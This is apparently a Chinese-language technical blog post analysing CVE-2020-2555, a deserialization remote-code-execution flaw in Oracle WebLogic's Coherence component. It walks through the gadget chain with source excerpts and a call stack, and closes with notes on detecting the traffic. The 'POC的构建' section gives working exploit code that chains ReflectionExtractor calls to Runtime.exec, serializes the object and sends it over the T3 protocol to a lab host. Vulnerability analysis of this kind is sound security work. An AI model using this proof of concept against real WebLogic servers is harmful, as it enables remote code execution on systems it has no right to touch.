weblogic/CVE-2020-2555分析
漏洞原理简介
首先摘抄一下百度百科对Coherence的简介:
Coherence是Oracle为了建立一种高可靠和高扩展集群计算的一个关键部件,集群指的是多于一个应用服务器参与到运算里。Coherence的主要用途是共享一个应用的对象(主要是java对象,比如Web应用的一个会话java对象)和数据(比如数据库数据,通过OR-MAPPING后成为Java对象)。 简单来说,就是当一个应用把它的对象或数据托管给Coherence管理的时候,该对象或数据就能够在整个集群环境(多个应用服务器节点)共享,应用程序可以非常简单地调用get方法取得该对象,并且由于Coherence本身的冗余机制使得任何一个应用服务器节点的失败都不会影响到该对象的丢失。
可见Coherence是Oracle体现融合中间件的一个重要组件,在Weblogic的12.1.3.0.0、12.1.3.0.0、12.2.1.4.0中默认继承了对应版本号的Coherence,所以该反序列化漏洞对Weblogic 12.1.3.0.0、12.1.3.0.0、12.2.1.4.0有效。
下图是Weblogic 12.2.1.4.0安装过程截图,安装Weblogic是会默认并强制安装Coherence:
在Coherence的
com.tangosol.util.filter.LimitFilter:toString方法中将用户可控的输入提交给com.tangosol.util.extractor.ChainedExtractor:extract方法,组装成Runtime()造成RCE。下文是详细分析。
漏洞分析
在
参考1中作者提到在分析CVE-2020-2555的补丁时,发现补丁中删除了toString()对extract()方法的所有调用,所以通过在代码中寻找extract()方法并发现了在Coherence库中的com.tangosol.util.extractor.ReflectionExtractor类实现了Externalizable接口并存在Method.invoke()反射调用(实现序列化接口和存在invoke方法是反序列化漏洞利用的重要条件,具体可查看Weblogic反序列化系列的其他文章),于是发现了利用方法。下面我们顺着作者的思路开始分析漏洞:
先看实现了序列化接口以及存在反射的
com.tangosol.util.extractor.ReflectionExtractor:extract方法,可见该方法中存在method.invoke(oTarget, this.m_aoParam),其中参数oTarget表示需要反射调用的对象,m_aoParam为需要给该对象传入的参数,并且oTarget和m_aoParam在构造方法中被赋值,所以可控,结合前面的信息我们知道ReflectionExtractor实现了序列化接口,可以被序列化,而且这里extract存在method.invoke()可以调用任意方法,理想情况下我们可以构造一个序列化的类,并利用这里去执行系统命令。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public ReflectionExtractor(String sMethod, Object[] aoParam, int nTarget) {
azzert(sMethod != null);
this.m_sMethod = sMethod;
this.m_aoParam = aoParam;
this.m_nTarget = nTarget;
}
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}在JAVA中需要执行系统命令需要调用
Runtime.getRuntime().exec(),从上面的分析我们知道method.invoke()一次只能调用一个方法,而Runtime.getRuntime().exec()中存在多个方法的嵌套,所以我们需要构造一个Chain(这里的利用方式和CommonsCollections非常类似),通过循环构造出完整的Runtime.getRuntime().exec()(在循环中调用method.invoke()传入初始参数,并将method.invoke()返回的结果作为下一次循环的参数,即可构造出Runtime.getRuntime().exec())。在参考1中也有提到
com.tangosol.util.extractor.ChainedExtracter,我们发现在该类的extract方法中,将从aExtractor中循环取值,并调用extract方法,满足上述条件:1
2
3
4
5
6
7
8
9public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
//extract方法传入oTarget参数并触发method.invoke(),将method.invoke()的返回结果赋值给oTarget,带入下一次循环
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}通过上面的分析,我们已经知道存在一个可反序列化的类以及它的Gadget,但还没有讲述如何利用这个Gadget,也就是这个Gadget的入口。
在本章节开始时提到CVE-2020-2555补丁中删除了toString()对extract()方法的所有调用,我们再回过头看看toString()方法。
如果看过一些weblogic反序列化的分析,可能会对下面的代码非常熟悉,在readObject方法中使用
toString方法反射调用恶意方法,在ysoserial的CommonsCollections5这条gadget中使用的就是toString方法,感兴趣的同学可以阅读下参考2,了解下ysoserial中对CommonsCollections这条gadget的各种利用,关于toString()的利用方式和CommonsCollections5相同,这里不再详细描述。简述一下:在反序列化过程中将调用被重写的
readObject方法,这个readObject方法位于javax.management.BadAttributeValueExpException这个JAVA原生类中,所以我们可以重写javax.management.BadAttributeValueExpException:readObject,然后就会进入到toString(),到达上文描述的Gadget。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 在这里进入toString,其中valObj可控
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}调用链
贴一下调用链(从下往上),大家可以对着调用链巩固一下上文关于漏洞的描述。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27extract:105, ChainedExtractor (com.tangosol.util.extractor)
toString:599, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)在
ChainedExtractor中将循环嵌套我们传入的对象,下图可见aExtractor中包含了我们传入的三个参数:漏洞利用结果:
POC的构建
- 实现
BadAttributeValueExpException类,并将调用toString方法的对象设置为limitFilter:这段POC代码对应的JDK源码如下,当我们将badAttributeValueExpException序列化传输后,反序列化过程中将读取1
2
3
4BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);readObject方法,此时valObj参数已经被我们设置为limitFilter对象。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
} - 重写
limitFilter的toString方法,将其extractor赋值为chainedExtractor,并传入初始参数:这段POC代码对应的Ceherence源码如下,此时我们已经将1
2
3
4
5
6
7
8LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);m_comparator赋值为chainedExtractor,所以这里将跳转到chainedExtractor类的extract方法,并且我们传入了初始参数Runtime.class:1
2
3
4
5
6
7
8
9
10
11
12public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
} - 利用
ChainedExtractor循环构造Runtime.getRuntime().exec(),上面提到ReflectionExtractor的Method.invoke()方法参数可控,所以我们需要分别向ReflectionExtractor传参:对应的Coherence源码如下,此时1
2
3
4
5ReflectionExtractor extractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"galculator"}});
ReflectionExtractor[] extractors = {extractor1, extractor2, extractor3};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);oTarget和this.m_aoParam均为我们传入的参数,然后通过ChainedExtractor的extract方法循环得到这里method.invoke的返回值,可以组装成完整的Runtime.getRuntime().exec(),从而执行系统命令:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20public class ReflectionExtractor<T, E> extends AbstractExtractor<T, E> implements ValueExtractor<T, E>, ExternalizableLite, PortableObject {
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
}1
2
3
4
5
6
7
8
9
10public class ChainedExtractor<T, E> extends AbstractCompositeExtractor<T, E> {
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
} - 最后我们将payload序列化后通过T3协议发过去
1
2byte[] payload = Serializables.serialize(badAttributeValueExpException);
T3ProtocolOperation.send("10.211.55.5", "7001", payload);流量特征
Oracle T3反序列化漏洞的流量特征主要关注T3协议握手过程和发送序列化数据,这个在其他文章中已经有了很详细的介绍,详细数据分析见参考3,这里主要关注一下序列化数据中的特征。
通过对漏洞的分析,我们知道触发漏洞的几个关键类和方法名称,在序列化数据中均可见,在下图红框中标注,所以可提取该特征进行检测。
- 实现